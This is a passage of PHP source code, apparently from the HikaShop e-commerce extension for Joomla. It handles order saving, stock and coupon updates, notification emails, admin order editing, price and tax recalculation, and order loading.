						$updateOrder->order_invoice_number =
$order->order_invoice_number;
					}

					parent::save($updateOrder);
				}

				if(!empty($order->cart->products)) {
					foreach($order->cart->products as $k => $p) {
						$order->cart->products[$k]->order_id = $order->order_id;
					}
					if($config->get('update_stock_after_confirm') &&
$order->order_status == 'created'){
						foreach($order->cart->products as $k => $product){
							$order->cart->products[$k]->no_update_qty = true;
						}
					}

					$productClass->save($order->cart->products);

					if($config->get('update_stock_after_confirm') &&
$order->order_status == 'created'){
						foreach($order->cart->products as $k => $product){
							unset($order->cart->products[$k]->no_update_qty);
						}
					}

					if(!empty($order->order_discount_code) && $order_type ==
'sale') {
						$query = 'UPDATE
'.hikashop_table('discount').' SET
discount_used_times=discount_used_times+1 WHERE
discount_code='.$this->database->Quote($order->order_discount_code).'
AND discount_type=\'coupon\' LIMIT 1';
						$this->database->setQuery($query);
						$this->database->query();
					}
					if(!empty($order->cart->additional)) {
						foreach($order->cart->additional as $k => $p) {
							$order->cart->additional[$k]->product_id = 0;
							$order->cart->additional[$k]->order_product_quantity = 0;
							$order->cart->additional[$k]->order_product_name =
$p->name;
							$order->cart->additional[$k]->order_product_code =
'order additional';
							$order->cart->additional[$k]->order_product_options =
$p->value;
							$order->cart->additional[$k]->order_product_price =
$p->price_value;
							$order->cart->additional[$k]->order_id =
$order->order_id;
						}
						$productClass->save($order->cart->additional);
					}
				} elseif(!empty($order->order_status) &&
!empty($order->old)) {

					$update = $config->get('update_stock_after_confirm');

					$config =& hikashop_config();
					$cancelled_order_status =
explode(',',$config->get('cancelled_order_status'));
					if(!empty($order->order_status) &&
in_array($order->order_status, $cancelled_order_status) &&
(empty($order->old->order_status) ||
!in_array($order->old->order_status, $cancelled_order_status))) {
						if($order_type == 'sale' &&
(in_array($order->order_status,$cancelled_order_status) &&
(in_array($order->old->order_status,array('confirmed','shipped'))
|| (!$update && $order->old->order_status ==
'created'))))
							$productClass->cancelProductReservation($order->order_id);

						if(!isset($order->order_discount_code)) {
							$code = @$order->old->order_discount_code;
						} else {
							$code = $order->order_discount_code;
						}
						if(!empty($code) && $order_type == 'sale') {
							$query = 'UPDATE
'.hikashop_table('discount').' SET
discount_used_times=discount_used_times-1 WHERE
discount_code='.$this->database->Quote($order->order_discount_code).'
AND discount_type=\'coupon\' LIMIT 1';
							$this->database->setQuery($query);
							$this->database->query();
						}
					}

					if(!empty($order->order_status) &&
!in_array($order->order_status, $cancelled_order_status) &&
!empty($order->old->order_status)  &&
in_array($order->old->order_status, $cancelled_order_status)) {
						if($order_type == 'sale' &&
(in_array($order->old->order_status,$cancelled_order_status)
&&
(in_array($order->order_status,array('confirmed','shipped'))
|| (!$update && $order->order_status == 'created'))))
							$productClass->resetProductReservation($order->order_id);

						if(!isset($order->order_discount_code)) {
							$code = @$order->old->order_discount_code;
						} else {
							$code = $order->order_discount_code;
						}
						if(!empty($code) && $order_type == 'sale') {
							$query = 'UPDATE
'.hikashop_table('discount').' SET discount_used_times
= discount_used_times + 1 WHERE
discount_code='.$this->database->Quote($order->order_discount_code).'
AND discount_type=\'coupon\' LIMIT 1';
							$this->database->setQuery($query);
							$this->database->query();
						}
					}
				}

				if($new) {
					$send_email = $this->sendEmailAfterOrderCreation;
					$dispatcher->trigger( 'onAfterOrderCreate', array( &
$order,&$send_email) );

					if($send_email) {
						$this->getOrderAdditionalInfo($order);
						$query = 'SELECT * FROM
'.hikashop_table('address').' WHERE address_id IN
('.(int)@$order->cart->shipping_address->address_id.','.(int)@$order->cart->billing_address->address_id.')';
						$this->database->setQuery($query);
						$order->order_addresses =
$this->database->loadObjectList('address_id');
						JPluginHelper::importPlugin( 'hikashop' );
						$dispatcher = JDispatcher::getInstance();
						foreach($order->cart->products as $k => $product) {
							$dispatcher->trigger(
'onBeforeCalculateProductPriceForQuantityInOrder', array(
&$order->cart->products[$k]) );
							if(function_exists('hikashop_product_price_for_quantity_in_order'))
{
								hikashop_product_price_for_quantity_in_order($order->cart->products[$k]);
							} else {
								$order->cart->products[$k]->order_product_total_price_no_vat
= $product->order_product_price*$product->order_product_quantity;
								$order->cart->products[$k]->order_product_total_price =
($product->order_product_price+$product->order_product_tax)*$product->order_product_quantity;
							}
							$dispatcher->trigger(
'onAfterCalculateProductPriceForQuantityInOrder', array(
&$order->cart->products[$k]) );
						}

						$addressClass = hikashop_get('class.address');
						$addressClass->loadZone($order->order_addresses);
						$order->order_addresses_fields =& $addressClass->fields;
						$this->loadOrderNotification($order,'order_creation_notification');
						$mail = hikashop_get('class.mail');
						if(!empty($order->mail->dst_email)) {
							$mail->sendMail($order->mail);
						}

						$this->mail_success =& $mail->mail_success;
						$config =& hikashop_config();
						$emails =
$config->get('order_creation_notification_email');
						if(!empty($emails)) {
							$mail = hikashop_get('class.mail');
							if(!empty($order->customer)) {
								$user_email = $order->customer->user_email;
								$user_name = $order->customer->name;
							}
							$order->customer->user_email =
explode(',',$emails);
							$order->customer->name= ' ';
							$this->loadOrderNotification($order,'order_admin_notification');
							$order->mail->subject = trim($order->mail->subject);
							if(empty($order->mail->subject)) {
								$order->mail->subject =
JText::sprintf('NEW_ORDER_SUBJECT',$order->order_number,HIKASHOP_LIVE);
							}
							if(!empty($user_email)) {
								$mail->mailer->addReplyTo(array($user_email,$user_name));
							}
							if(!empty($order->mail->dst_email)) {
								$mail->sendMail($order->mail);
							}
							if(!empty($user_email)) {
								$order->customer->user_email = $user_email;
								$order->customer->name = $user_name;
							}
						}
					}
				} else {
					$send_email = @$order->history->history_notified;
					$dispatcher->trigger( 'onAfterOrderUpdate', array(
&$order, &$send_email) );
					if($send_email) {
						if(empty($order->mail) && isset($order->order_status))
{
							$this->loadOrderNotification($order,'order_status_notification');
						} else {
							$order->mail->data = &$order;
							$order->mail->mail_name =
'order_status_notification';
						}
						if(!empty($order->mail)) {
							$mail = hikashop_get('class.mail');
							if(!empty($order->mail->dst_email)) {
								$mail->sendMail($order->mail);
							}
							$this->mail_success =& $mail->mail_success;
						}

					}
				}
			}

			return $order->order_id;
		}

		return false;
	}

	public function saveForm($task = '') {
		$do = false;
		$forbidden = array();

		$order_id = hikashop_getCID('order_id');
		$addressClass = hikashop_get('class.address');
		$fieldsClass = hikashop_get('class.field');

		$oldOrder = $this->get($order_id);
		$order = clone($oldOrder);
		$order->history = new stdClass();
		$data = JRequest::getVar('data', array(), '',
'array');

		if(empty($order_id) || empty($order->order_id)) {
			$this->sendEmailAfterOrderCreation = false;
		} else {
			$order->history->history_notified = false;
		}

		$currentTask = 'billing_address';
		if( (empty($task) || $task == $currentTask) &&
!empty($data[$currentTask]) ) {
			$oldAddress = null;
			if(!empty($oldOrder->order_billing_address_id)) {
				$oldAddress =
$addressClass->get($oldOrder->order_billing_address_id);
			}
			$billing_address = $fieldsClass->getInput(array($currentTask,
'address'), $oldAddress);

			if(!empty($billing_address) && !empty($order_id)){
				$result = $addressClass->save($billing_address, $order_id,
'billing');
				if($result){
					$order->order_billing_address_id = $result;
					$do = true;
				}
			}
		}

		$currentTask = 'shipping_address';
		if( (empty($task) || $task == $currentTask) &&
!empty($data[$currentTask]) ) {
			$oldAddress = null;
			if(!empty($oldOrder->order_shipping_address_id)) {
				$oldAddress =
$addressClass->get($oldOrder->order_shipping_address_id);
			}
			$shipping_address = $fieldsClass->getInput(array($currentTask,
'address'), $oldAddress);

			if(!empty($shipping_address) && !empty($order_id)){
				$result = $addressClass->save($shipping_address, $order_id,
'shipping');
				if($result){
					$order->order_shipping_address_id = $result;
					$result = $this->save($order);
					$do = true;
				}
			}
		}

		$currentTask = 'general';
		if( (empty($task) || $task == $currentTask) &&
!empty($data[$currentTask]) ) {

			if(!empty($data['order']['order_status'])) {
				$order->order_status =
$data['order']['order_status'];
				$do = true;
			}

			if(!empty($data['notify'])) {
				if(empty($order->history))
					$order->history = new stdClass();
				$order->history->history_notified = true;
			}
		}

		$currentTask = 'additional';
		if( (empty($task) || $task == $currentTask) &&
!empty($data[$currentTask]) && !isset($forbidden[$currentTask]) )
{

			if(isset($data['order']['order_discount_code'])) {
				$order->order_discount_code =
$data['order']['order_discount_code'];
				$do = true;
			}
			if(isset($data['order']['order_discount_price'])) {
				$order->order_discount_price =
$data['order']['order_discount_price'];
				$do = true;
			}
			if(isset($data['order']['order_discount_tax'])) {
				$order->order_discount_tax =
$data['order']['order_discount_tax'];
				$do = true;
			}
			if(isset($data['order']['order_discount_tax_namekey']))
{
				$order->order_discount_tax_namekey =
$data['order']['order_discount_tax_namekey'];
				$do = true;
			}

			if(!empty($data['order']['shipping'])) {

				if(is_string($data['order']['shipping'])) {
					list($shipping_method, $shipping_id) = explode('_',
$data['order']['shipping'], 2);
					$order->order_shipping_method = $shipping_method;
					$order->order_shipping_id = $shipping_id;
					$do = true;
				}

				if(is_array($data['order']['shipping'])) {
					$order->order_shipping_method = '';
					$shippings = array();
					$order->order_shipping_params->prices = array();

					foreach($data['order']['shipping'] as
$shipping_group => $shipping_value) {
						list($shipping_method, $shipping_id) = explode('_',
$shipping_value, 2);
						$n = $shipping_id . '@' . $shipping_group;
						$shippings[] = $n;
						$order->order_shipping_params->prices[$n] = new stdClass();
						$order->order_shipping_params->prices[$n]->price_with_tax =
@$data['order']['order_shipping_prices'][$shipping_group];
						$order->order_shipping_params->prices[$n]->tax =
@$data['order']['order_shipping_taxs'][$shipping_group];
					}
					$order->order_shipping_id = implode(';', $shippings);
					$do = true;

					if(!empty($data['order']['warehouses'])) {
						$orderProductClass = hikashop_get('class.order_product');
						$db = JFactory::getDBO();
						$db->setQuery('SELECT * FROM
'.hikashop_table('order_product').' WHERE order_id =
'.(int)$order_id);
						$order_products =
$db->loadObjectList('order_product_id');
						foreach($data['order']['warehouses'] as $pid
=> $w) {
							if(isset($order_products[$pid])) {
								$p = $order_products[$pid];
								list($shipping_method, $shipping_id) = explode('_',
$data['order']['shipping'][$w], 2);
								$p->order_product_shipping_id = $shipping_id . '@' .
$w;
								$p->order_product_shipping_method = $shipping_method;
								$orderProductClass->update($p);
							}
						}
					}
				}
			}
			if(isset($data['order']['order_shipping_price'])) {
				$order->order_shipping_price =
$data['order']['order_shipping_price'];
				$do = true;
			}
			if(isset($data['order']['order_shipping_tax'])) {
				$order->order_shipping_tax =
$data['order']['order_shipping_tax'];
				$do = true;
			}
			if(isset($data['order']['order_shipping_tax_namekey']))
{
				$order->order_shipping_tax_namekey =
$data['order']['order_shipping_tax_namekey'];
				$do = true;
			}

			if(!empty($data['order']['payment'])) {
				list($payment_method, $payment_id) = explode('_',
$data['order']['payment'], 2);
				$order->order_payment_method = $payment_method;
				$order->order_payment_id = $payment_id;
				$do = true;
			}
			if(isset($data['order']['order_payment_price'])) {
				$order->order_payment_price =
$data['order']['order_payment_price'];
				$do = true;
			}
		}

		$currentTask = 'customfields';
		$validTasks = array('customfields', 'additional');
		if( (empty($task) || in_array($task, $validTasks)) &&
!empty($data[$currentTask]) ) {

			$old = null;
			$orderFields =
$fieldsClass->getInput(array('orderfields','order'),
$old, true, 'data', false, 'backend');
			if(!empty($orderFields)) {
				$do = true;
				foreach($orderFields as $key => $value) {
					$order->$key = $value;
				}
			}
		}

		$currentTask = 'customer';
		if( (empty($task) || $task == $currentTask) ) {
			$order_user_id =
(int)$data['order']['order_user_id'];
			if($order_user_id > 0) {
				$order->order_user_id = $order_user_id;
				$do = true;

				$set_address = JRequest::getInt('set_user_address', 0);
				if($set_address) {
					$db = JFactory::getDBO();
					$db->setQuery('SELECT address_id FROM
'.hikashop_table('address').' WHERE address_user_id =
'. (int)$order_user_id . ' AND address_published = 1 ORDER BY
address_default DESC, address_id ASC LIMIT 1');
					$address_id = $db->loadResult();
					if($address_id)
						$order->order_billing_address_id = $address_id;
				}
			}
		}

		$currentTask = 'products';
		if( (empty($task) || $task == $currentTask) &&
!empty($data[$currentTask]) ) {
			$orderProductClass = hikashop_get('class.order_product');
			$productData = $data['order']['product'];
			if(isset($productData['many']) &&
$productData['many'] == true){
				unset($productData['many']);
				$product = new stdClass();
				$order->product = array();
				foreach($productData as $singleProduct){
					foreach($singleProduct as $key => $value){
						$product->$key = $value;
					}
					$orderProductClass->update($product);
					$order->product[] = $product;
				}
			}else{ // Only one product
				if(isset($productData['order_id'])) {
					$product = new stdClass();
					foreach($productData as $key => $value) {
						$product->$key = $value;
					}
					$product->order_id = $order_id;
					$orderProductClass->update($product);
					$order->product = array( $product );
				} else {
					$order->product = array();
					foreach($productData as $data) {
						$product = new stdClass();
						foreach($data as $key => $value) {
							$product->$key = $value;
						}
						$product->order_id = $order_id;
						$orderProductClass->update($product);

						$order->product[] = $product;
					}
				}
			}
			$this->recalculateFullPrice($order);
			$do = true;
		}

		if(!empty($task) && $task == 'product_delete' ) {
			$order_product_id = JRequest::getInt('order_product_id', 0);
			if($order_product_id > 0) {
				$orderProductClass = hikashop_get('class.order_product');
				$order_product = $orderProductClass->get($order_product_id);
				if(!empty($order_product) && $order_product->order_id ==
$order_id) {
					$order_product->order_product_quantity = 0;
					$orderProductClass->update($order_product);
					$order->product[] = $order_product;

					$this->recalculateFullPrice($order);
					$do = true;
				}
			}
		}

		if($do) {
			if(!empty($data['history']['store_data'])) {
				if(isset($data['history']['msg']))
					$order->history->history_data =
$data['history']['msg'];
				else
					$order->history->history_data =
@$data['history']['history_data'];
			}
			if(!empty($data['history']['usermsg_send'])) {
				if(isset($data['history']['usermsg']))
					$order->usermsg->usermsg =
$data['history']['usermsg'];
			}
			$result = $this->save($order);

			return $result;
		}
		return false;
	}

	function recalculateFullPrice(&$order, $products = null) {

		if(empty($products)) {
			$query = 'SELECT * FROM
'.hikashop_table('order_product').' WHERE
order_id='.$order->order_id;
			$this->database->setQuery($query);
			$products = $this->database->loadObjectList();
		}
		$total = 0.0;
		$taxes = array();
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();

		foreach($products as $i => $product) {
			if($product->order_product_code != 'order additional') {
				$dispatcher->trigger(
'onBeforeCalculateProductPriceForQuantityInOrder', array(
&$products[$i]) );
				if(function_exists('hikashop_product_price_for_quantity_in_order'))
{
					hikashop_product_price_for_quantity_in_order($product);
				} else {
					$product->order_product_total_price=($product->order_product_price+$product->order_product_tax)*$product->order_product_quantity;
				}
				$dispatcher->trigger(
'onAfterCalculateProductPriceForQuantityInOrder', array(
&$products[$i]) );
			} else {
				$product->order_product_total_price =
($product->order_product_price + $product->order_product_tax);
			}

			$total+=$product->order_product_total_price;

			if(!empty($product->order_product_tax_info)) {
				if(is_string($product->order_product_tax_info))
					$product_taxes = unserialize($product->order_product_tax_info);
				else
					$product_taxes = $product->order_product_tax_info;
				foreach($product_taxes as $tax) {
					if(!isset($taxes[$tax->tax_namekey])) {
						$taxes[$tax->tax_namekey]=0;
					}
					$taxes[$tax->tax_namekey]+=$tax->tax_amount*$product->order_product_quantity;
				}
			}
		}
		if(empty($order->old) && !empty($order->order_id)) {
			$order->old = $this->get($order->order_id);
		}
		$old = @$order->old;
		if(!isset($order->order_discount_price)) {
			$order->order_discount_price = @$old->order_discount_price;
		}
		if(!isset($order->order_shipping_price)) {
			$order->order_shipping_price = @$old->order_shipping_price;
		}
		if(!isset($order->order_payment_price)) {
			$order->order_payment_price = @$old->order_payment_price;
		}
		$order->order_full_price = $total - $order->order_discount_price +
$order->order_shipping_price + $order->order_payment_price;

		if(!isset($order->order_tax_info)) {
			if(!empty($old->order_tax_info)) {
				$order->order_tax_info = $old->order_tax_info;
			}
		}

		if(!empty($order->order_tax_info)) {
			if(is_string($order->order_tax_info))
				$order->order_tax_info = unserialize($order->order_tax_info);
			foreach($order->order_tax_info as $k => $tax) {
				$order->order_tax_info[$k]->todo = true;
			}
			if(!empty($taxes)) {
				foreach($taxes as $namekey => $amount) {
					$found = false;
					foreach($order->order_tax_info as $k => $tax) {
						if($tax->tax_namekey==$namekey) {
							$order->order_tax_info[$k]->tax_amount =
$amount+@$tax->tax_amount_for_coupon+@$tax->tax_amount_for_shipping;
							unset($order->order_tax_info[$k]->todo);
							$found = true;
							break;
						}
					}
					if(!$found) {
						$obj = new stdClass();
						$obj->tax_namekey = $namekey;
						$obj->tax_amount = $amount;
						$order->order_tax_info[$namekey] = $obj;
					}
				}
			}

			$unset = array();
			foreach($order->order_tax_info as $k => $tax) {
				if(isset($tax->todo)) {
					$order->order_tax_info[$k]->tax_amount =
@$tax->tax_amount_for_coupon+@$tax->tax_amount_for_shipping;
					if(!bccomp($order->order_tax_info[$k]->tax_amount,0,5)) {
						$unset[]=$k;
					} else {
						unset($order->order_tax_info[$k]->todo);
					}
				}
			}
			if(!empty($unset)) {
				foreach($unset as $u) {
					unset($order->order_tax_info[$u]);
				}
			}
		}
	}

	function loadFullOrder($order_id,$additionalData=false,$checkUser=true) {
		$order = $this->get($order_id);
		$app = JFactory::getApplication();
		$type='frontcomp';
		if(empty($order)) {
			return null;
		}

		$userClass = hikashop_get('class.user');
		$order->customer = $userClass->get($order->order_user_id);

		if($app->isAdmin()) {
			if(hikashop_level(1)) {
				$query='SELECT * FROM
'.hikashop_table('geolocation').' WHERE
geolocation_type=\'order\' AND
geolocation_ref_id='.$order_id;
				$this->database->setQuery($query);
				$order->geolocation = $this->database->loadObject();
			}

			$query='SELECT * FROM
'.hikashop_table('history').' WHERE
history_order_id='.$order_id.' ORDER BY history_created
DESC';
			$this->database->setQuery($query);
			$order->history = $this->database->loadObjectList();

			if(!empty($order->order_partner_id)) {
				$order->partner = $userClass->get($order->order_partner_id);
			}
			$type='backend';
		} elseif($checkUser && hikashop_loadUser() !=
$order->order_user_id) {
			return null;
		}

		$this->orderNumber($order);
		$order->order_subtotal = $order->order_full_price +
$order->order_discount_price - $order->order_shipping_price -
$order->order_payment_price;

		$this->loadAddress($order->order_shipping_address_id,$order,'shipping','name',$type);
		$this->loadAddress($order->order_billing_address_id,$order,'billing','name',$type);
		if(empty($order->fields)){
			$fieldClass = hikashop_get('class.field');
			$order->fields = $fieldClass->getData($type,'address');
		}

		if(!empty($order->order_payment_params) &&
is_string($order->order_payment_params))
			$order->order_payment_params =
unserialize($order->order_payment_params);

		if(!empty($order->order_shipping_params) &&
is_string($order->order_shipping_params))
			$order->order_shipping_params =
unserialize($order->order_shipping_params);

		if(!empty($order->order_shipping_id)) {
			$order->shippings = array();
			if(strpos($order->order_shipping_id, ';') !== false) {
				$shipping_ids = explode(';', $order->order_shipping_id);
			} else {
				$shipping_ids = array($order->order_shipping_id);
			}
			JArrayHelper::toInteger($shipping_ids);

			$query = 'SELECT * FROM ' .
hikashop_table('shipping') . ' WHERE shipping_id IN ('
. implode(',', $shipping_ids).')';
			$this->database->setQuery($query);
			$order->shippings =
$this->database->loadObjectList('shipping_id');
		}

		if(!empty($order->order_shipping_method)) {
			$currentShipping = hikashop_import('hikashopshipping',
$order->order_shipping_method);
			if(method_exists($currentShipping, 'getShippingAddress')) {
				$override =
$currentShipping->getShippingAddress($order->order_shipping_id);
				if($override !== false) {
					$order->override_shipping_address = $override;
				}
			}
		}

		$this->loadProducts($order);

		if(!empty($order->additional)) {
			foreach($order->additional as $additional) {
				$order->order_subtotal -= $additional->order_product_price -
$additional->order_product_tax;
			}
		}

		$order->order_subtotal_no_vat = 0;
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		foreach($order->products as $k => $product) {
			$dispatcher->trigger(
'onBeforeCalculateProductPriceForQuantityInOrder', array(
&$order->products[$k]) );
			if(function_exists('hikashop_product_price_for_quantity_in_order'))
{
				hikashop_product_price_for_quantity_in_order($order->products[$k]);
			} else {
				$order->products[$k]->order_product_total_price_no_vat =
$product->order_product_price*$product->order_product_quantity;
				$order->products[$k]->order_product_total_price =
($product->order_product_price+$product->order_product_tax)*$product->order_product_quantity;
			}
			$dispatcher->trigger(
'onAfterCalculateProductPriceForQuantityInOrder', array(
&$order->products[$k]) );

			$order->order_subtotal_no_vat +=
$order->products[$k]->order_product_total_price_no_vat;
			if(!empty($product->order_product_options)) {
				$order->products[$k]->order_product_options=unserialize($product->order_product_options);
			}
		}

		if($additionalData) {
			$this->getOrderAdditionalInfo($order);
		}
		return $order;
	}

	function getOrderAdditionalInfo(&$order) {
		if(hikashop_level(2)) {
			$query='SELECT * FROM
'.hikashop_table('entry').' WHERE
order_id='.$order->order_id;
			$this->database->setQuery($query);
			$order->entries = $this->database->loadObjectList();
		}

		$product_ids = array();
		if(isset($order->cart->products)) {
			$products =& $order->cart->products;
		} else {
			$products =& $order->products;
		}
		if(!empty($products)) {
			foreach($products as $product) {
				if(!empty($product->product_id))
					$product_ids[] = $product->product_id;
			}
		}
		if(count($product_ids)) {
			$query = 'SELECT * FROM
'.hikashop_table('product').' WHERE product_id IN
('.implode(',',$product_ids).') AND
product_type=\'variant\'';
			$this->database->setQuery($query);
			$productInfos = $this->database->loadObjectList();

			if(!empty($productInfos)) {
				foreach($productInfos as $product) {
					foreach($products as $item) {
						if($product->product_id == $item->product_id &&
!empty($product->product_parent_id)) {
							$item->product_parent_id = $product->product_parent_id;
							$product_ids[]=$product->product_parent_id;
						}
					}
				}
			}
			$filters = array('a.file_ref_id IN
('.implode(',',$product_ids).')','a.file_type=\'file\'');
			$query = 'SELECT b.*,a.* FROM
'.hikashop_table('file').' AS a LEFT JOIN
'.hikashop_table('download').' AS b ON
b.order_id='.$order->order_id.' AND a.file_id = b.file_id
WHERE '.implode(' AND ',$filters).' ORDER BY
file_ref_id ASC, file_ordering, file_pos ASC';
			$this->database->setQuery($query);
			$files = $this->database->loadObjectList();
			if(!empty($files)) {
				foreach($products as $k => $product) {
					$products[$k]->files=array();
					foreach($files as $file) {
						if($product->product_id == $file->file_ref_id) {
							$this->_setDownloadFile($file, $products, $k);
						}
					}
					if(empty($products[$k]->files)&&!empty($product->product_parent_id))
{
						foreach($files as $file) {
							if($product->product_parent_id==$file->file_ref_id) {
								$this->_setDownloadFile($file, $products, $k);
							}
						}
					}
				}
			}
			$filters = array('a.file_ref_id IN
('.implode(',',$product_ids).')','a.file_type
=\'product\'');
			$query = 'SELECT a.* FROM
'.hikashop_table('file').' AS a WHERE
'.implode(' AND ',$filters).' ORDER BY file_ref_id ASC,
file_ordering ASC';
			$this->database->setQuery($query);
			$images = $this->database->loadObjectList();
			if(!empty($images)) {
				foreach($products as $k => $product) {
					$products[$k]->images=array();
					foreach($images as $image) {
						if($product->product_id==$image->file_ref_id) {
							$products[$k]->images[]=$image;
						}
					}
					if(empty($products[$k]->files)&&!empty($product->product_parent_id))
{
						foreach($images as $image) {
							if($product->product_parent_id==$image->file_ref_id) {
								$products[$k]->images[]=$image;
							}
						}
					}
				}
			}
		}
	}

	function _setDownloadFile(&$file, &$products, $k) {
		$product = $products[$k];
		$product_quantity = $product->order_product_quantity;

		if(empty($file->file_limit)) {
			$config =& hikashop_config();
			$file->file_limit =
$config->get('download_number_limit', 0);
		}

		if($file->file_free_download == 0 && $product_quantity > 1
&& (substr($file->file_path, 0, 1) == '@' ||
substr($file->file_path, 0, 1) == '#')) {
			if(empty($file->file_pos)) {
				for($i = 1; $i <= $product_quantity; $i++) {
					$f = clone($file);
					$f->file_pos = $i;
					$id = $file->file_id.'_'.$i;
					$products[$k]->files[$id] = $f;
					unset($f);
				}
			} else {
				$id = $file->file_id.'_1';
				if(!isset($products[$k]->files[$id])) {
					for($i = 1; $i <= $product_quantity; $i++) {
						$f = clone($file);
						$f->file_pos = $i;
						$f->download_number = 0;
						$id = $file->file_id.'_'.$i;
						$products[$k]->files[$id] = $f;
						unset($f);
					}
				}
				$id = $file->file_id.'_'.(int)$file->file_pos;
				$products[$k]->files[$id] = $file;
			}
		} else {
			$file->file_pos = 0;
			$file->file_limit *= $product_quantity;
			$id = $file->file_id.'_'.(int)$file->file_pos;
			$products[$k]->files[$id] = $file;
		}
	}

	function loadProducts(&$order) {
		$query = 'SELECT a.* FROM
'.hikashop_table('order_product').' AS a WHERE
a.order_id = '.$order->order_id;
		$this->database->setQuery($query);
		$order->products = $this->database->loadObjectList();
		$order->additional = array();
		foreach($order->products as $k => $product) {
			if(!empty($product->order_product_tax_info)) {
				$order->products[$k]->order_product_tax_info =
unserialize($order->products[$k]->order_product_tax_info);
			}
			if($product->order_product_code == 'order additional') {
				unset($order->products[$k]);
				$order->additional[] = $product;
			}
			if($product->order_product_quantity == 0) {
				unset($order->products[$k]);
			}
		}
	}

	function
loadAddress($address,&$order,$address_type='shipping',$display='name',$type='frontcomp')
{
		$addressClass=hikashop_get('class.address');
		$name = $address_type.'_address';
		$order->$name=$addressClass->get($address);
		if(!empty($order->$name)) {
			$data =&$order->$name;
			$array = array(&$data);
			$addressClass->loadZone($array,$display,$type);
			if(!empty($addressClass->fields)) {
				$order->fields =& $addressClass->fields;
			}
		}
	}

	function orderNumber(&$order) {
		return true;
	}

	function get($order_id, $trans = true) {
		$order = parent::get($order_id);
		if(!empty($order)) {
			$app = JFactory::getApplication();
			$translationHelper = hikashop_get('helper.translation');
			$locale = '';
			$lgid = 0;
			if($app->isAdmin() && $translationHelper->isMulti()) {
				$user = JFactory::getUser();
				$locale = $user->getParam('language');
				if(empty($locale)) {
					$params   = JComponentHelper::getParams('com_languages');
					$locale = $params->get('site', 'en-GB');
				}
				$lgid = $translationHelper->getId($locale);
				if(is_string($trans)) {
					$status = $trans;
				} else {
					$status = $order->order_status;
				}
				$query = 'SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_name='.$this->database->Quote($status).' LIMIT
1';
				$this->database->setQuery($query);
				$id = $this->database->loadResult();
				$trans_table = 'jf_content';
				if($translationHelper->falang) {
					$trans_table = 'falang_content';
				}
				$query = 'SELECT value FROM
'.hikashop_table($trans_table,false).' AS b WHERE
b.reference_id='.(int)$id.' AND
b.reference_table=\'hikashop_category\' AND
b.reference_field=\'category_name\' AND b.published=1 AND
b.language_id='.$lgid.' LIMIT 1';
				$this->database->setQuery($query);
				$order->value = $this->database->loadResult();

				if(empty($order->value)) {
					$val = str_replace(' ','_',strtoupper($status));
					$trans = JText::_($val);
					if($val==$trans) {
						$order->value = $status;
					} else {
						$order->value = $trans;
					}
				}
			}
			if(!empty($lgid)) {
				$order->order_current_lgid = $lgid;
				$order->order_current_locale = $locale;
			}
			if(!empty($order->order_tax_info) &&
is_string($order->order_tax_info)) {
				$order->order_tax_info = unserialize($order->order_tax_info);
			}
			if(!empty($order->order_payment_params) &&
is_string($order->order_payment_params)) {
				$order->order_payment_params =
unserialize($order->order_payment_params);
			}
			if(!empty($order->order_shipping_params) &&
is_string($order->order_shipping_params)) {
				$order->order_shipping_params =
unserialize($order->order_shipping_params);
			}
		}
		return $order;
	}

	function loadMail(&$product) {
		if(!empty($product)) {
			$product->order = parent::get($product->order_id);
			$userClass = hikashop_get('class.user');
			if(isset($product->order->order_user_id))
				$product->customer =
$userClass->get($product->order->order_user_id);
			else{
				$product->customer =
JRequest::getInt('user_id','0');
				if(!isset($product->order))$product->order=new stdClass();
				$product->order->order_number = 0;
			}
			$this->orderNumber($product->order);
			$this->loadMailNotif($product);
		}
		return $product;
	}

	function loadMailNotif(&$element) {
		$this->loadLocale($element);

		global $Itemid;
		$url = '';
		if(!empty($Itemid)) {
			$url='&Itemid='.$Itemid;
		}
		$element->order_url =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=show&cid[]='.$element->order_id.$url);

		$element->order = $this->get($element->order_id);
		$val = str_replace(' ', '_',
strtoupper($element->order->order_status));
		$trans = JText::_($val);
		if($val == $trans) {
			if(isset($element->order_status))
				$element->mail_status = $element->order_status;
			else
				$element->mail_status = $element->order->order_status;
		} else {
			$element->mail_status = $trans;
		}

		$mailClass = hikashop_get('class.mail');
		$element->mail =
$mailClass->get('order_notification',$element);
		$element->mail->subject =
JText::sprintf($element->mail->subject,$element->order->order_number,HIKASHOP_LIVE);
		if(!empty($element->customer->user_email)) {
			$element->mail->dst_email =&
$element->customer->user_email;
		} else {
			$element->mail->dst_email = '';
		}
		if(!empty($element->customer->name)) {
			$element->mail->dst_name =& $element->customer->name;
		} else {
			$element->mail->dst_name = '';
		}
		$lang = JFactory::getLanguage();
		$override_path =
JLanguage::getLanguagePath(JPATH_ROOT).DS.'overrides'.$lang->getTag().'.override.ini';
		if(version_compare(JVERSION,'1.6','>=')&&
file_exists($override_path)) {
			$lang->override = $lang->parse($override_path);
		}
		$lang->load(HIKASHOP_COMPONENT, JPATH_SITE, null, true );
		if(version_compare(JVERSION,'1.6','<') &&
file_exists($override_path)) {
			$lang->_load($override_path,'override');
		}
	}

	function
loadNotification($order_id,$type='order_status_notification') {
		$order = $this->get($order_id);
		$this->loadOrderNotification($order,$type);
		return $order;
	}

	function
loadOrderNotification(&$order,$type='order_status_notification')
{
		if(empty($order->order_user_id) || empty($order->order_status)) {
			$dbOrder = parent::get($order->order_id);
			$order->order_user_id = @$dbOrder->order_user_id;
			if(empty($order->order_status)) $order->order_status =
@$dbOrder->order_status;
		}
		if(empty($order->customer)) {
			$userClass = hikashop_get('class.user');
			$order->customer = $userClass->get($order->order_user_id);
		}
		$this->orderNumber($order);
		global $Itemid;
		$url = '';
		if(!empty($Itemid)) {
			$url='&Itemid='.$Itemid;
		}
		$order->order_url =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=show&cid[]='.$order->order_id.$url);
		$app = JFactory::getApplication();

		if(!isset($order->mail_status)) {
			if(isset($order->order_status)) {
				if($app->isAdmin()) {
					$locale = $this->loadLocale($order);

					if(!empty($order->order_current_locale) &&
$order->order_current_locale!=$locale) {
						$translationHelper = hikashop_get('helper.translation');
						if($translationHelper->isMulti(true, false)) {
							$lgid = $translationHelper->getId($locale);
							$trans_table = 'jf_content';
							if($translationHelper->falang) {
								$trans_table = 'falang_content';
							}
							$query = 'SELECT b.value FROM
